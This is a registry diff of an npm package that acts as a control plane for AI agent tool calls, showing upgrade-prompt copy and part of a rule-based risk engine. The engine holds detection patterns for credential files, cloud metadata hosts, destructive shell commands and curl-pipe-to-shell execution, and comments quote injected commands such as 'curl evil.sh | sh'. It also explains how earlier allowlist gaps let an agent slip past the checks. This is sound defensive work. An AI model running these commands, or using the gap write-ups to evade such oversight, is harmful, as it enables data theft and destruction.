@cirvix_ai/agent-control 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +202 -0
- package/NOTICE +42 -0
- package/README.md +341 -0
- package/action/README.md +100 -0
- package/action/action.yml +134 -0
- package/action/report.mjs +144 -0
- package/bin/cirvix.mjs +1073 -0
- package/package.json +60 -0
- package/src/commands/demo.mjs +315 -0
- package/src/commands/init.mjs +558 -0
- package/src/commands/policy.mjs +345 -0
- package/src/commands/sarif.mjs +176 -0
- package/src/commands/scan.mjs +210 -0
- package/src/commands/status.mjs +208 -0
- package/src/commands/upgrade.mjs +162 -0
- package/src/core/approvals.mjs +388 -0
- package/src/core/audit.mjs +181 -0
- package/src/core/canonical.mjs +316 -0
- package/src/core/daemon.mjs +352 -0
- package/src/core/decisions.mjs +253 -0
- package/src/core/delegation.mjs +658 -0
- package/src/core/detect.mjs +337 -0
- package/src/core/entitlement-gate.mjs +100 -0
- package/src/core/entitlements.mjs +285 -0
- package/src/core/format.mjs +33 -0
- package/src/core/gateway.mjs +959 -0
- package/src/core/guard.mjs +568 -0
- package/src/core/http-transport.mjs +505 -0
- package/src/core/journal.mjs +419 -0
- package/src/core/jsonrpc.mjs +152 -0
- package/src/core/meter.mjs +225 -0
- package/src/core/normalize.mjs +516 -0
- package/src/core/notices.mjs +80 -0
- package/src/core/pipeline.mjs +629 -0
- package/src/core/policy-dsl.mjs +611 -0
- package/src/core/policy.mjs +710 -0
- package/src/core/prompts.mjs +146 -0
- package/src/core/risk.mjs +509 -0
- package/src/core/sanitize.mjs +279 -0
- package/src/core/secret-detect.mjs +533 -0
- package/src/core/secrets.mjs +312 -0
- package/src/core/uds.mjs +383 -0
- package/src/core/vault.mjs +530 -0
- package/src/index.mjs +143 -0
- package/src/testing.mjs +145 -0
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The terminal-facing copy for every commercial limit.
|
|
3
|
+
*
|
|
4
|
+
* WHY THE WORDING LIVES IN ONE FILE.
|
|
5
|
+
*
|
|
6
|
+
* Every one of these lines appears in the middle of somebody's terminal while
|
|
7
|
+
* they were trying to do something else. Scattered through the call sites they
|
|
8
|
+
* drift into marketing language one edit at a time, and marketing language in
|
|
9
|
+
* that position reads as an interruption rather than an offer. Here they can be
|
|
10
|
+
* read together, and the tests below can hold them to a shape: state the limit,
|
|
11
|
+
* state the number, give the command, stop.
|
|
12
|
+
*
|
|
13
|
+
* The rules these follow, which are worth stating because they are easy to
|
|
14
|
+
* erode:
|
|
15
|
+
*
|
|
16
|
+
* · No superlatives, no urgency, no "you're missing out". The reader is
|
|
17
|
+
* mid-task and did not ask for an advertisement.
|
|
18
|
+
* · Always name the real number they hit and the real number they would get.
|
|
19
|
+
* A prompt that says "upgrade for more" is asking them to go and look it up.
|
|
20
|
+
* · Always end with a command they can run. A prompt with no next step is a
|
|
21
|
+
* complaint.
|
|
22
|
+
* · Never claim Free is ending. It is not, and saying so to hurry someone is
|
|
23
|
+
* the kind of lie that gets screenshotted.
|
|
24
|
+
*
|
|
25
|
+
* These are strings. Nothing here decides anything — `entitlements.mjs` owns
|
|
26
|
+
* every limit, and these functions only read what it already decided.
|
|
27
|
+
*/
|
|
28
|
+
|
|
29
|
+
import { TIERS, nextTier, dailyAllowance, tierFor } from "./entitlements.mjs";
|
|
30
|
+
|
|
31
|
+
const n = (v) => Number(v).toLocaleString("en-US");
|
|
32
|
+
|
|
33
|
+
/** `cirvix upgrade <tier>`, or the enterprise equivalent. */
|
|
34
|
+
function upgradeLine(tierId) {
|
|
35
|
+
const next = nextTier(tierId);
|
|
36
|
+
if (!next) return "→ Contact your account owner.";
|
|
37
|
+
return `→ cirvix upgrade ${next}`;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* The daily allowance is spent.
|
|
42
|
+
*
|
|
43
|
+
* Names the tier's own number rather than a generic "limit reached", because
|
|
44
|
+
* the number is the thing that makes the next line persuasive.
|
|
45
|
+
*/
|
|
46
|
+
export function quotaReached(licence = {}) {
|
|
47
|
+
const tier = tierFor(licence.tier);
|
|
48
|
+
const allowance = dailyAllowance(licence);
|
|
49
|
+
if (allowance === null) return null; // uncapped; there is nothing to say
|
|
50
|
+
|
|
51
|
+
const next = nextTier(tier.id);
|
|
52
|
+
const lines = [`[cirvix] ${tier.name} daily limit reached (${n(allowance)} decisions).`];
|
|
53
|
+
|
|
54
|
+
if (next) {
|
|
55
|
+
const perSeat = TIERS[next].perSeat ? " / seat" : "";
|
|
56
|
+
lines.push(
|
|
57
|
+
`Upgrade to ${TIERS[next].name} → ${n(TIERS[next].decisionsPerDay)}${perSeat} decisions/day` +
|
|
58
|
+
(TIERS[next].persistentSecrets && !tier.persistentSecrets
|
|
59
|
+
? " + persistent secret handles."
|
|
60
|
+
: "."),
|
|
61
|
+
);
|
|
62
|
+
}
|
|
63
|
+
lines.push("The counter resets at 00:00 UTC.");
|
|
64
|
+
lines.push(upgradeLine(tier.id));
|
|
65
|
+
return lines.join("\n");
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
/** A second (or nth) agent was started on a tier that does not allow it. */
|
|
69
|
+
export function agentLimitReached(licence = {}) {
|
|
70
|
+
const tier = tierFor(licence.tier);
|
|
71
|
+
if (tier.agents === null) return null;
|
|
72
|
+
|
|
73
|
+
const next = nextTier(tier.id);
|
|
74
|
+
const lines = [
|
|
75
|
+
`[cirvix] ${tier.name} allows ${tier.agents} concurrent agent${tier.agents === 1 ? "" : "s"}.`,
|
|
76
|
+
];
|
|
77
|
+
if (next) {
|
|
78
|
+
const after = TIERS[next];
|
|
79
|
+
lines.push(
|
|
80
|
+
`${after.name} unlocks ${after.agents === null ? "unlimited agents" : `${n(after.agents)}`}.`,
|
|
81
|
+
);
|
|
82
|
+
}
|
|
83
|
+
lines.push(upgradeLine(tier.id));
|
|
84
|
+
return lines.join("\n");
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* A secret handle that will not survive a restart.
|
|
89
|
+
*
|
|
90
|
+
* The strongest conversion lever in the table, and the one most likely to be
|
|
91
|
+
* over-written. It states what will happen and when, and does not editorialise
|
|
92
|
+
* about it — someone who cares about secrets already understands why this
|
|
93
|
+
* matters, and someone who does not is not going to be argued into caring.
|
|
94
|
+
*/
|
|
95
|
+
export function ephemeralSecret(licence = {}, handle = "sec_handle_…") {
|
|
96
|
+
const tier = tierFor(licence.tier);
|
|
97
|
+
if (tier.persistentSecrets) return null;
|
|
98
|
+
|
|
99
|
+
const next = nextTier(tier.id);
|
|
100
|
+
const ttl = tier.secretTtlHours;
|
|
101
|
+
return [
|
|
102
|
+
`[cirvix] Secret handle ${handle} is ephemeral on ${tier.name}` +
|
|
103
|
+
(ttl ? ` (clears on restart or after ${ttl}h).` : " (clears on restart)."),
|
|
104
|
+
next ? `${TIERS[next].name} adds a persistent vault.` : "",
|
|
105
|
+
upgradeLine(tier.id),
|
|
106
|
+
]
|
|
107
|
+
.filter(Boolean)
|
|
108
|
+
.join("\n");
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
/** The fraction of the allowance that triggers the one soft nudge. */
|
|
112
|
+
export const NUDGE_AT = 0.7;
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* The single mid-day nudge, or null.
|
|
116
|
+
*
|
|
117
|
+
* ONCE PER DAY, AND ONLY ON A CAPPED TIER. The caller is responsible for
|
|
118
|
+
* remembering that it has been shown — `Meter.shouldNudge()` does that — because
|
|
119
|
+
* a nudge that reappears every few decisions is not a nudge, it is nagging, and
|
|
120
|
+
* the person it annoys most is the heavy user who was the likeliest to convert.
|
|
121
|
+
*
|
|
122
|
+
* It also says Free stays free. That is true, and saying it is what keeps the
|
|
123
|
+
* line from reading as a threat.
|
|
124
|
+
*/
|
|
125
|
+
export function softNudge(licence = {}, used = 0) {
|
|
126
|
+
const tier = tierFor(licence.tier);
|
|
127
|
+
const allowance = dailyAllowance(licence);
|
|
128
|
+
if (allowance === null) return null;
|
|
129
|
+
if (used < Math.floor(allowance * NUDGE_AT)) return null;
|
|
130
|
+
if (used >= allowance) return null; // past the limit, `quotaReached` speaks instead
|
|
131
|
+
|
|
132
|
+
const next = nextTier(tier.id);
|
|
133
|
+
if (!next) return null;
|
|
134
|
+
|
|
135
|
+
return [
|
|
136
|
+
`[cirvix] ${n(used)}/${n(allowance)} ${tier.name.toLowerCase()} decisions today.`,
|
|
137
|
+
`Heavy users move to ${TIERS[next].name} for headroom` +
|
|
138
|
+
(TIERS[next].persistentSecrets && !tier.persistentSecrets
|
|
139
|
+
? " + persistent secrets."
|
|
140
|
+
: "."),
|
|
141
|
+
tier.id === "free" ? "Free stays free forever." : "",
|
|
142
|
+
"→ cirvix status",
|
|
143
|
+
]
|
|
144
|
+
.filter(Boolean)
|
|
145
|
+
.join("\n");
|
|
146
|
+
}
|
|
@@ -0,0 +1,509 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The risk engine.
|
|
3
|
+
*
|
|
4
|
+
* Classifies a normalized tool call as LOW, MEDIUM, HIGH, or CRITICAL before
|
|
5
|
+
* policy runs, so a rule can say `risk >= HIGH` instead of enumerating every
|
|
6
|
+
* dangerous tool name that will ever exist.
|
|
7
|
+
*
|
|
8
|
+
* DELIBERATELY NOT A MODEL.
|
|
9
|
+
*
|
|
10
|
+
* The obvious version of this is a small classifier. It is the wrong shape for
|
|
11
|
+
* the job for three reasons, and the reasons are worth stating because the
|
|
12
|
+
* temptation returns every quarter:
|
|
13
|
+
*
|
|
14
|
+
* 1. A risk score that changes between two identical calls makes every
|
|
15
|
+
* downstream artifact — the audit record, the replay, the approval — a
|
|
16
|
+
* claim nobody can reproduce. `cirvix replay` is only meaningful if the
|
|
17
|
+
* same input yields the same classification a year later.
|
|
18
|
+
* 2. A classifier is an inference dependency on the hot path. This runs
|
|
19
|
+
* before every tool call on a developer's laptop.
|
|
20
|
+
* 3. It is an attacker-controlled input path. The arguments come from a model
|
|
21
|
+
* that may be reading a hostile web page; feeding them to a second model
|
|
22
|
+
* to decide how dangerous they are just moves the injection one hop.
|
|
23
|
+
*
|
|
24
|
+
* So: ordered, explicit rules over a normalized call. Most severe match wins,
|
|
25
|
+
* and the matching rule's name is returned alongside the level, because a risk
|
|
26
|
+
* level an operator cannot trace back to a reason is a number they will learn
|
|
27
|
+
* to ignore.
|
|
28
|
+
*
|
|
29
|
+
* WHAT A LEVEL MEANS
|
|
30
|
+
*
|
|
31
|
+
* The level is an input to policy, never a decision by itself. The mapping in
|
|
32
|
+
* `DEFAULT_POSTURE` (LOW allow / MEDIUM policy / HIGH approval / CRITICAL deny)
|
|
33
|
+
* is what applies when no rule matches at all — it is a floor, not an override.
|
|
34
|
+
* A policy that explicitly permits a CRITICAL call wins, because the operator
|
|
35
|
+
* who wrote that rule knew something this table cannot.
|
|
36
|
+
*/
|
|
37
|
+
|
|
38
|
+
/** @typedef {"low"|"medium"|"high"|"critical"} RiskLevel */
|
|
39
|
+
|
|
40
|
+
export const RISK = {
|
|
41
|
+
LOW: "low",
|
|
42
|
+
MEDIUM: "medium",
|
|
43
|
+
HIGH: "high",
|
|
44
|
+
CRITICAL: "critical",
|
|
45
|
+
};
|
|
46
|
+
|
|
47
|
+
/** Ordered least → most severe. Used for `risk >= HIGH` comparisons. */
|
|
48
|
+
export const RISK_ORDER = [RISK.LOW, RISK.MEDIUM, RISK.HIGH, RISK.CRITICAL];
|
|
49
|
+
|
|
50
|
+
export function riskRank(level) {
|
|
51
|
+
const i = RISK_ORDER.indexOf(String(level ?? "").toLowerCase());
|
|
52
|
+
return i === -1 ? 0 : i;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
/** True when `level` is at least `floor`. Unknown levels rank lowest. */
|
|
56
|
+
export function riskAtLeast(level, floor) {
|
|
57
|
+
return riskRank(level) >= riskRank(floor);
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
export function maxRisk(a, b) {
|
|
61
|
+
return riskRank(a) >= riskRank(b) ? a : b;
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* The default posture per level — what happens with no matching policy rule.
|
|
66
|
+
*
|
|
67
|
+
* MEDIUM maps to `policy`, which is not a decision: it means "the rule set
|
|
68
|
+
* decides, and default-deny applies if it does not". Encoding it as ALLOW here
|
|
69
|
+
* would quietly make the risk table a permissive layer sitting above the policy
|
|
70
|
+
* engine, which is exactly backwards.
|
|
71
|
+
*/
|
|
72
|
+
export const DEFAULT_POSTURE = {
|
|
73
|
+
[RISK.LOW]: "allow",
|
|
74
|
+
[RISK.MEDIUM]: "policy",
|
|
75
|
+
[RISK.HIGH]: "require_approval",
|
|
76
|
+
[RISK.CRITICAL]: "deny",
|
|
77
|
+
};
|
|
78
|
+
|
|
79
|
+
/* -------------------------------------------------------------------------- */
|
|
80
|
+
/* Signals */
|
|
81
|
+
/* -------------------------------------------------------------------------- */
|
|
82
|
+
|
|
83
|
+
/**
|
|
84
|
+
* Paths whose contents are credentials. Matched against the canonicalized
|
|
85
|
+
* resource, so `~/x/../.aws/credentials` and an absolute path are one thing.
|
|
86
|
+
*/
|
|
87
|
+
const CREDENTIAL_PATHS = [
|
|
88
|
+
/(^|[/\\])\.env(\.|$)/i,
|
|
89
|
+
/(^|[/\\])\.aws([/\\]|$)/i,
|
|
90
|
+
/(^|[/\\])\.ssh([/\\]|$)/i,
|
|
91
|
+
/(^|[/\\])\.kube([/\\]config)?$/i,
|
|
92
|
+
/(^|[/\\])\.npmrc$/i,
|
|
93
|
+
/(^|[/\\])\.netrc$/i,
|
|
94
|
+
/(^|[/\\])\.docker[/\\]config\.json$/i,
|
|
95
|
+
/(^|[/\\])\.gnupg([/\\]|$)/i,
|
|
96
|
+
/(^|[/\\])id_(rsa|dsa|ecdsa|ed25519)$/i,
|
|
97
|
+
/(^|[/\\])credentials$/i,
|
|
98
|
+
/(^|[/\\])\.pgpass$/i,
|
|
99
|
+
/(^|[/\\])service[-_]?account.*\.json$/i,
|
|
100
|
+
/\.(pem|pfx|p12|key|keystore|jks)$/i,
|
|
101
|
+
/(^|[/\\])\.git-credentials$/i,
|
|
102
|
+
/(^|[/\\])\.terraformrc$/i,
|
|
103
|
+
/(^|[/\\])terraform\.tfstate$/i,
|
|
104
|
+
];
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* Cloud instance-metadata endpoints — the SSRF target that turns a web-fetch
|
|
108
|
+
* tool into a cloud credential. 169.254.169.254 is the canonical one; the
|
|
109
|
+
* others are the same idea on other providers, and `metadata.google.internal`
|
|
110
|
+
* resolves to the same link-local address.
|
|
111
|
+
*/
|
|
112
|
+
const METADATA_HOSTS = [
|
|
113
|
+
/^169\.254\.169\.254$/,
|
|
114
|
+
/^metadata\.google\.internal$/i,
|
|
115
|
+
/^metadata\.goog$/i,
|
|
116
|
+
/^100\.100\.100\.200$/, // Alibaba
|
|
117
|
+
/^169\.254\.170\.2$/, // ECS task metadata
|
|
118
|
+
/^fd00:ec2::254$/i,
|
|
119
|
+
];
|
|
120
|
+
|
|
121
|
+
/** Shell fragments that destroy state rather than inspect it. */
|
|
122
|
+
const DESTRUCTIVE_COMMANDS = [
|
|
123
|
+
/\brm\s+(-[a-z]*[rf][a-z]*\s+)+/i,
|
|
124
|
+
/\brmdir\s+\/s/i,
|
|
125
|
+
/\bdel\s+\/[fsq]/i,
|
|
126
|
+
/\bmkfs\b/i,
|
|
127
|
+
/\bdd\s+.*\bof=\/dev\//i,
|
|
128
|
+
/\bshred\b/i,
|
|
129
|
+
/:\(\)\s*\{\s*:\|:&\s*\}\s*;:/, // fork bomb
|
|
130
|
+
/\bchmod\s+-R\s+777\b/i,
|
|
131
|
+
/\bgit\s+push\s+.*--force/i,
|
|
132
|
+
/\bgit\s+reset\s+--hard/i,
|
|
133
|
+
/\bdrop\s+(table|database|schema)\b/i,
|
|
134
|
+
/\btruncate\s+table\b/i,
|
|
135
|
+
/\bhistory\s+-c\b/i,
|
|
136
|
+
/>\s*\/dev\/sd[a-z]/i,
|
|
137
|
+
];
|
|
138
|
+
|
|
139
|
+
/** Package managers executing arbitrary install-time scripts. */
|
|
140
|
+
const INSTALL_COMMANDS =
|
|
141
|
+
/\b(npm|pnpm|yarn|bun)\s+(i|install|add)\b|\bpip3?\s+install\b|\bgem\s+install\b|\bcargo\s+install\b|\bgo\s+install\b|\bapt(-get)?\s+install\b|\bbrew\s+install\b|\bchoco\s+install\b/i;
|
|
142
|
+
|
|
143
|
+
/**
|
|
144
|
+
* Curl-pipe-to-shell and friends: remote code, executed immediately.
|
|
145
|
+
*
|
|
146
|
+
* The PowerShell arm is separate because its shell is not spelled `sh`.
|
|
147
|
+
* `iwr … | iex` is the exact Windows equivalent of `curl … | sh`, and an
|
|
148
|
+
* earlier version of this pattern required a literal `sh` after the pipe — so
|
|
149
|
+
* the canonical Windows attack scored HIGH instead of CRITICAL and was held for
|
|
150
|
+
* approval rather than denied. The adversarial corpus caught it.
|
|
151
|
+
*/
|
|
152
|
+
const REMOTE_EXEC =
|
|
153
|
+
/\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod|irm)\b[^|;]*[|;]\s*(sudo\s+)?((ba|z|k|fi)?sh|iex|invoke-expression|python3?|node|perl|ruby)\b|\biex\s*[(\s]|\|\s*Invoke-Expression/i;
|
|
154
|
+
|
|
155
|
+
/** Production identifiers in a resource, a target, or an environment field. */
|
|
156
|
+
const PRODUCTION_MARKERS =
|
|
157
|
+
/\b(prod|production|live)\b|(^|[-_.])prd([-_.]|$)/i;
|
|
158
|
+
|
|
159
|
+
const SHELL_ACTIONS = new Set(["shell.exec", "process.spawn"]);
|
|
160
|
+
const WRITE_ACTIONS = new Set(["fs.write", "fs.delete", "fs.move", "fs.chmod"]);
|
|
161
|
+
const READ_ACTIONS = new Set(["fs.read", "fs.list", "fs.stat", "fs.search"]);
|
|
162
|
+
|
|
163
|
+
/** Read-only VCS and inspection tools — the LOW baseline in the blueprint. */
|
|
164
|
+
const READ_ONLY_TOOLS =
|
|
165
|
+
/^(git[._-])?(status|log|diff|show|branch|blame|remote|ls[-_]?files|rev[-_]?parse)$|^(read|get|list|stat|search|find|grep|head|tail|cat|query|describe|inspect|explain|ping|health|version|whoami)$/i;
|
|
166
|
+
|
|
167
|
+
/**
|
|
168
|
+
* Shell metacharacters that chain, redirect, or substitute.
|
|
169
|
+
*
|
|
170
|
+
* The allowlist below is only sound because of this check. `npm test` is a safe
|
|
171
|
+
* command; `npm test; curl evil.sh | sh` starts with the same eight characters
|
|
172
|
+
* and is not. Any command containing one of these is disqualified from the
|
|
173
|
+
* allowlist outright and falls back to HIGH — a shell allowlist that can be
|
|
174
|
+
* suffixed is not an allowlist, it is a prefix that grants arbitrary execution.
|
|
175
|
+
*/
|
|
176
|
+
const SHELL_METACHARACTERS = /[;&|`$><\n\r]|\$\(|\|\||&&/;
|
|
177
|
+
|
|
178
|
+
/**
|
|
179
|
+
* Commands whose whole job is to inspect or build, matched in full.
|
|
180
|
+
*
|
|
181
|
+
* Anchored, argument-aware, and deliberately short. Every entry here is a
|
|
182
|
+
* command that a developer runs dozens of times an hour and that cannot, on its
|
|
183
|
+
* own, reach outside the project. This is the difference between a control
|
|
184
|
+
* plane a team keeps switched on and one that asks for approval so often it
|
|
185
|
+
* gets disabled in week one.
|
|
186
|
+
*
|
|
187
|
+
* It lowers a command from HIGH to MEDIUM. It never lowers anything to LOW, and
|
|
188
|
+
* it never overrides the destructive, remote-execution, or privilege rules —
|
|
189
|
+
* those are separate entries evaluated independently, and most-severe wins.
|
|
190
|
+
*/
|
|
191
|
+
const KNOWN_SAFE_COMMANDS = [
|
|
192
|
+
/^(npm|pnpm|yarn|bun)\s+(test|run\s+[\w:.-]+|ci|ls|list|outdated|why|audit)\s*[\w:.=@/-]*$/i,
|
|
193
|
+
/^(pytest|tox|nox)(\s+[\w./:=-]+)*$/i,
|
|
194
|
+
/^python3?\s+-m\s+(pytest|unittest|mypy|ruff|black)(\s+[\w./:=-]+)*$/i,
|
|
195
|
+
/^(cargo|go)\s+(test|build|check|vet|fmt|clippy)(\s+[\w./:=-]+)*$/i,
|
|
196
|
+
/^(mvn|gradle|gradlew)\s+(test|build|compile|verify)$/i,
|
|
197
|
+
/^(make|just)\s+[\w:.-]+$/i,
|
|
198
|
+
/^git\s+(status|log|diff|show|branch|blame|remote|fetch|rev-parse|ls-files|describe|stash\s+list)(\s+[\w./:=@^~-]+)*$/i,
|
|
199
|
+
/^(ls|dir|pwd|whoami|hostname|date|uname|env|printenv|which|where|node|npm|python3?|go|cargo)\s*(--?[\w-]+)*$/i,
|
|
200
|
+
/^(cat|head|tail|wc|file|stat)\s+[\w./-]+$/i,
|
|
201
|
+
/^(tsc|eslint|prettier|ruff|black|mypy|jest|vitest|mocha)(\s+[\w./:=@*-]+)*$/i,
|
|
202
|
+
/^docker\s+(ps|images|logs|inspect|version|info)(\s+[\w./:-]+)*$/i,
|
|
203
|
+
/^kubectl\s+(get|describe|logs|top|version)(\s+[\w./:-]+)*$/i,
|
|
204
|
+
];
|
|
205
|
+
|
|
206
|
+
/**
|
|
207
|
+
* True when a command is on the allowlist AND cannot have been extended.
|
|
208
|
+
*
|
|
209
|
+
* Both halves are load-bearing. Order matters too: the metacharacter check runs
|
|
210
|
+
* first so a crafted command never even reaches the patterns.
|
|
211
|
+
*/
|
|
212
|
+
export function isKnownSafeCommand(command) {
|
|
213
|
+
if (typeof command !== "string" || !command) return false;
|
|
214
|
+
const trimmed = command.trim();
|
|
215
|
+
if (SHELL_METACHARACTERS.test(trimmed)) return false;
|
|
216
|
+
if (trimmed.length > 200) return false;
|
|
217
|
+
return KNOWN_SAFE_COMMANDS.some((re) => re.test(trimmed));
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
/**
|
|
221
|
+
* True when a command is a recognised package install and nothing else.
|
|
222
|
+
*
|
|
223
|
+
* `package-install` classifies these MEDIUM — installing third-party code that
|
|
224
|
+
* may run install-time scripts. But `shell-execution` also fired on them, and
|
|
225
|
+
* most-severe-wins meant every install scored HIGH, so the MEDIUM rule could
|
|
226
|
+
* never be the answer for the case it was written for.
|
|
227
|
+
*
|
|
228
|
+
* Recognising the shape is what makes it not-arbitrary execution. The same
|
|
229
|
+
* metacharacter guard applies, so `npm install; rm -rf /` is not downgraded —
|
|
230
|
+
* without that, this is a bypass rather than a classification.
|
|
231
|
+
*/
|
|
232
|
+
export function isRecognizedInstall(command) {
|
|
233
|
+
if (typeof command !== "string" || !command) return false;
|
|
234
|
+
const trimmed = command.trim();
|
|
235
|
+
if (SHELL_METACHARACTERS.test(trimmed)) return false;
|
|
236
|
+
if (trimmed.length > 200) return false;
|
|
237
|
+
return INSTALL_COMMANDS.test(trimmed);
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
/* -------------------------------------------------------------------------- */
|
|
241
|
+
/* Rules */
|
|
242
|
+
/* -------------------------------------------------------------------------- */
|
|
243
|
+
|
|
244
|
+
/**
|
|
245
|
+
* Each rule is `{ id, level, when(call) -> boolean, why }`.
|
|
246
|
+
*
|
|
247
|
+
* Evaluated in full — not short-circuited — so the classification carries every
|
|
248
|
+
* signal that fired, not just the first. An operator triaging a CRITICAL wants
|
|
249
|
+
* to know it was *both* a credential path *and* an external egress, because
|
|
250
|
+
* that pair is a different incident from either alone.
|
|
251
|
+
*/
|
|
252
|
+
export const RISK_RULES = [
|
|
253
|
+
/* ---------------------------------------------------------------- CRITICAL */
|
|
254
|
+
{
|
|
255
|
+
id: "credential-access",
|
|
256
|
+
level: RISK.CRITICAL,
|
|
257
|
+
why: "Reads material that authenticates as somebody. A single successful read is an irreversible disclosure.",
|
|
258
|
+
/**
|
|
259
|
+
* Checks the command as well as the resource.
|
|
260
|
+
*
|
|
261
|
+
* `cat ~/.aws/credentials` is a shell call, so its resource is empty — the
|
|
262
|
+
* credential path is inside the command string. Checking only the resource
|
|
263
|
+
* meant the file-read path was CRITICAL and the identical read through a
|
|
264
|
+
* shell was merely HIGH, which is a hole an agent finds by accident on its
|
|
265
|
+
* first retry. Found by the adversarial corpus.
|
|
266
|
+
*/
|
|
267
|
+
when: (c) =>
|
|
268
|
+
CREDENTIAL_PATHS.some((re) => re.test(c.resource ?? "")) ||
|
|
269
|
+
CREDENTIAL_PATHS.some((re) => re.test(c.command ?? "")),
|
|
270
|
+
},
|
|
271
|
+
{
|
|
272
|
+
id: "cloud-metadata-request",
|
|
273
|
+
level: RISK.CRITICAL,
|
|
274
|
+
why: "Targets a cloud instance-metadata endpoint, which returns live role credentials to anything that can reach it.",
|
|
275
|
+
when: (c) => {
|
|
276
|
+
const host = hostOf(c.destination ?? c.resource);
|
|
277
|
+
return Boolean(host) && METADATA_HOSTS.some((re) => re.test(host));
|
|
278
|
+
},
|
|
279
|
+
},
|
|
280
|
+
{
|
|
281
|
+
id: "production-deployment",
|
|
282
|
+
level: RISK.CRITICAL,
|
|
283
|
+
why: "Changes what is serving live traffic. The blast radius is every user, and rollback is not instant.",
|
|
284
|
+
when: (c) =>
|
|
285
|
+
(c.action === "k8s.apply" ||
|
|
286
|
+
/\b(deploy|rollout|apply|release|promote|terraform\s+apply|helm\s+(install|upgrade))\b/i.test(
|
|
287
|
+
`${c.tool ?? ""} ${c.command ?? ""}`,
|
|
288
|
+
)) &&
|
|
289
|
+
(PRODUCTION_MARKERS.test(c.environment ?? "") ||
|
|
290
|
+
PRODUCTION_MARKERS.test(c.resource ?? "") ||
|
|
291
|
+
PRODUCTION_MARKERS.test(c.command ?? "")),
|
|
292
|
+
},
|
|
293
|
+
{
|
|
294
|
+
id: "destructive-command",
|
|
295
|
+
level: RISK.CRITICAL,
|
|
296
|
+
why: "Command matches a pattern that destroys data or history rather than changing it.",
|
|
297
|
+
when: (c) => DESTRUCTIVE_COMMANDS.some((re) => re.test(c.command ?? "")),
|
|
298
|
+
},
|
|
299
|
+
{
|
|
300
|
+
id: "remote-code-execution",
|
|
301
|
+
level: RISK.CRITICAL,
|
|
302
|
+
why: "Downloads code and executes it in one step, so nothing between the network and the shell ever inspects it.",
|
|
303
|
+
when: (c) => REMOTE_EXEC.test(c.command ?? ""),
|
|
304
|
+
},
|
|
305
|
+
{
|
|
306
|
+
id: "secret-material-in-arguments",
|
|
307
|
+
level: RISK.CRITICAL,
|
|
308
|
+
why: "The arguments already contain live credential material, so this call would put a secret on the wire.",
|
|
309
|
+
when: (c) => c.secretsDetected > 0 && c.egress === "external",
|
|
310
|
+
},
|
|
311
|
+
|
|
312
|
+
/* -------------------------------------------------------------------- HIGH */
|
|
313
|
+
{
|
|
314
|
+
id: "shell-execution",
|
|
315
|
+
level: RISK.HIGH,
|
|
316
|
+
why: "Arbitrary command execution. Whatever the policy says about individual tools, a shell can reach past all of them.",
|
|
317
|
+
when: (c) =>
|
|
318
|
+
(SHELL_ACTIONS.has(c.action) || Boolean(c.command)) &&
|
|
319
|
+
!isKnownSafeCommand(c.command) &&
|
|
320
|
+
!isRecognizedInstall(c.command),
|
|
321
|
+
},
|
|
322
|
+
{
|
|
323
|
+
id: "database-write",
|
|
324
|
+
level: RISK.HIGH,
|
|
325
|
+
why: "Mutates persistent state that other systems read. Usually recoverable, never for free.",
|
|
326
|
+
when: (c) =>
|
|
327
|
+
c.action === "db.write" ||
|
|
328
|
+
c.action === "db.migrate" ||
|
|
329
|
+
/\b(insert|update|delete|upsert|merge|alter|create)\s+/i.test(c.sql ?? ""),
|
|
330
|
+
},
|
|
331
|
+
{
|
|
332
|
+
id: "external-egress",
|
|
333
|
+
level: RISK.HIGH,
|
|
334
|
+
why: "Sends data to a destination outside the workspace and outside your network.",
|
|
335
|
+
when: (c) => c.egress === "external",
|
|
336
|
+
},
|
|
337
|
+
{
|
|
338
|
+
id: "workspace-escape",
|
|
339
|
+
level: RISK.HIGH,
|
|
340
|
+
why: "The resolved path is outside the workspace root, so the workspace boundary is not containing this call.",
|
|
341
|
+
when: (c) => c.insideWorkspace === false,
|
|
342
|
+
},
|
|
343
|
+
{
|
|
344
|
+
id: "session-tainted-egress",
|
|
345
|
+
level: RISK.HIGH,
|
|
346
|
+
why: "This session already read secret-shaped material, which makes any outbound call an exfiltration path.",
|
|
347
|
+
when: (c) => c.touchedSecret === true && c.egress !== "none",
|
|
348
|
+
},
|
|
349
|
+
{
|
|
350
|
+
id: "privilege-escalation",
|
|
351
|
+
level: RISK.HIGH,
|
|
352
|
+
why: "Runs with elevated privilege, so the workspace and file-permission boundaries stop applying.",
|
|
353
|
+
when: (c) => /\b(sudo|doas|runas|su\s+-)\b/i.test(c.command ?? ""),
|
|
354
|
+
},
|
|
355
|
+
|
|
356
|
+
/* ------------------------------------------------------------------ MEDIUM */
|
|
357
|
+
{
|
|
358
|
+
id: "shell-execution-known-safe",
|
|
359
|
+
level: RISK.MEDIUM,
|
|
360
|
+
why: "A recognised build or inspection command with no shell metacharacters. Still execution, so never LOW.",
|
|
361
|
+
when: (c) => (SHELL_ACTIONS.has(c.action) || Boolean(c.command)) && isKnownSafeCommand(c.command),
|
|
362
|
+
},
|
|
363
|
+
{
|
|
364
|
+
id: "package-install",
|
|
365
|
+
level: RISK.MEDIUM,
|
|
366
|
+
why: "Installs third-party code that may run install-time scripts with your permissions.",
|
|
367
|
+
when: (c) => isRecognizedInstall(c.command) || c.action === "pkg.install",
|
|
368
|
+
},
|
|
369
|
+
{
|
|
370
|
+
id: "source-modification",
|
|
371
|
+
level: RISK.MEDIUM,
|
|
372
|
+
why: "Modifies files in the workspace. Reviewable and revertible, which is what keeps it below HIGH.",
|
|
373
